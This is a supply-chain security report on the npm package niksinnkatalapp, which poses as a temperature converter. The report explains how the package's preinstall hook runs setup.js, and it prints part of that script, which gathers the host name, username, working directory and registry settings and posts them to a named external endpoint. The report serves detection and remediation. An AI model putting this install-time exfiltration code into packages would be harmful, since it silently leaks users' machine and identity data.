registry / Data exfiltration / niksinnkatalapp

niksinnkatalapp

Convert celsius to fahrenheit

This report shows the evidence for niksinnkatalapp@100.0.0, the only known version.

This package appears in our research on the dependency confusion probes at version 99 and above, with how it works, the full package list and what to do if you installed it.

AI Security Review

scanned 23d ago · by lpm-firewall-ai

The source establishes automatic, unconsented transmission of identifying local information to an unrelated external recipient. This concrete installation-time data exfiltration warrants blocking.

Static reason

High-risk behavior combination matched malicious policy.; source fingerprint signature matched known malicious package; routed for review

Trigger

Installing the package with npm lifecycle scripts enabled.

Impact

Discloses the user's identity, machine identity, project directory, and environment details without an explicit opt-in.

Mechanism

The preinstall script serializes local system and environment information and sends it through an HTTPS POST, suppressing failures.

Attack narrative

Installation automatically invokes setup.js. The script gathers identifying machine and project details, then posts them to a fixed external API endpoint. Errors are suppressed, and the lifecycle command tolerates failure. The exported temperature conversion function does not require this collection or transmission.

AI rationale

The source establishes automatic, unconsented transmission of identifying local information to an unrelated external recipient. This concrete installation-time data exfiltration warrants blocking.

Evidence

package.jsonsetup.js

Network endpoints1

s85r5k14qk.execute-api.us-east-1.amazonaws.com/prod/hook

Decision evidence

public snapshot

AI called this Malicious at 98.0% confidence as Malware with low false-positive risk.

Evidence for block

package.json automatically runs setup.js before installation and ignores failure.
setup.js collects the hostname, username, working directory, platform, architecture, Node version, and npm registry setting.
setup.js sends collected data by HTTPS POST to a fixed external endpoint unrelated to temperature conversion.
setup.js writes the collected payload and suppresses request errors.

Evidence against

index.js implements a simple Celsius-to-Fahrenheit conversion.
No credential-file harvesting, remote code execution, or persistence was found.

Behavioral surface

Source

EnvironmentVarsNetwork

Supply chain

HighEntropyStrings

ManifestNo manifest risk signals triggered.

scanned 2 file(s), 733 B of source

Source & flagged code

8 flagged

package.jsonView file

•scripts.preinstall = node setup.js || true

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

•scripts.preinstall = node setup.js || true

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

setup.jsView file

1const https = require('https'); L2: const os = require('os'); L3: const pkg = require('./package.json'); L4: const d = JSON.stringify({ L5: p: pkg.name, v: pkg.version, L6: h: os.hostname(), u: os.userInfo().username, L7: c: process.cwd(), o: os.platform(), a: os.arch(), L8: n: process.version, L9: r: process.env.npm[redacted] || '', L10: t: 'iwPhYAk2YfuqHd59MN4fGbKF1gAVCOw_' ... L19: q.on('timeout', () => q.destroy()); L20: q.write(d);

Critical

Credential Exfiltration

Source appears to send environment or credential material to an external endpoint.

setup.jsView on unpkg · L1

1Trigger-reachable chain: scripts.preinstall -> setup.js L1: const https = require('https'); L2: const os = require('os'); L3: const pkg = require('./package.json'); L4: const d = JSON.stringify({ L5: p: pkg.name, v: pkg.version, L6: h: os.hostname(), u: os.userInfo().username, L7: c: process.cwd(), o: os.platform(), a: os.arch(), L8: n: process.version, L9: r: process.env.npm[redacted] || '', L10: t: 'iwPhYAk2YfuqHd59MN4fGbKF1gAVCOw_' ... L19: q.on('timeout', () => q.destroy()); L20: q.write(d);

Critical

Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

setup.jsView on unpkg · L1

High

Host Fingerprint Exfiltration

Source collects local host identity data and sends it to an external endpoint.

setup.jsView on unpkg · L1

High

Sandbox Evasion Gated Capability

Source gates dangerous network, credential, or execution behavior behind CI, host, platform, time, or geo fingerprint checks.

setup.jsView on unpkg · L1

1Trigger-reachable credential exfiltration chain: scripts.preinstall -> setup.js L1: const https = require('https'); L2: const os = require('os'); L3: const pkg = require('./package.json'); L4: const d = JSON.stringify({ L5: p: pkg.name, v: pkg.version, L6: h: os.hostname(), u: os.userInfo().username, L7: c: process.cwd(), o: os.platform(), a: os.arch(), L8: n: process.version, L9: r: process.env.npm[redacted] || '', L10: t: 'iwPhYAk2YfuqHd59MN4fGbKF1gAVCOw_' ... L19: q.on('timeout', () => q.destroy()); L20: q.write(d);

High

Trigger Reachable Credential Exfiltration

A manifest entrypoint or package-local install chain reaches credential exfiltration behavior.

setup.jsView on unpkg · L1

•matchType = malicious_source_fingerprint_signature signature = 8b5d7d95bec1fce5 signatureType = suspicious_hashes sourceLabel = final_verdict:malicious matchedPackage = ai-workshop-maa15-radio@100.0.0 matchedPath = setup.js matchedIdentity = npm:YWktd29ya3Nob3AtbWFhMTUtcmFkaW8:100.0.0 similarity = 1.000 shingleOverlap = 1 summary = package final verdict is malicious

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

setup.jsView on unpkg

Source & flagged code

8 flagged · loading source

package.jsonView file

•scripts.preinstall = node setup.js || true

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

•scripts.preinstall = node setup.js || true

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

setup.jsView file

Critical

Credential Exfiltration

Source appears to send environment or credential material to an external endpoint.

Findings

2 Critical5 High4 Medium2 Low

CriticalCredential Exfiltrationsetup.js

CriticalTrigger Reachable Dangerous Capabilitysetup.js

HighInstall Time Lifecycle Scriptspackage.json

HighHost Fingerprint Exfiltrationsetup.js

HighSandbox Evasion Gated Capabilitysetup.js

HighTrigger Reachable Credential Exfiltrationsetup.js

HighKnown Malware Source Fingerprint Signaturesetup.js

MediumAmbiguous Install Lifecycle Scriptpackage.json

MediumNetwork

MediumEnvironment Vars

MediumStructural Risk Force Deep Review

LowScripts Present

LowHigh Entropy Strings

Affected versions and remediation

This report applies to niksinnkatalapp@100.0.0.

The versions list below shows the verdict for each recorded version.

Avoid installing niksinnkatalapp@100.0.0. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-10-04 23:45:17.018Z (UTC).

Source advisory published: 2026-09-30 07:11:22.000Z (UTC).

Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.

Versions

1 known version

100.0.0latestshownMaliciousData ExfiltrationBlockPublishedSep 30, 2026, 7:05 AM

AI Security Review

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Versions

Related packages

Other data exfiltration packages

Behavioral surface

Related packages

Other data exfiltration packages

Source & flagged code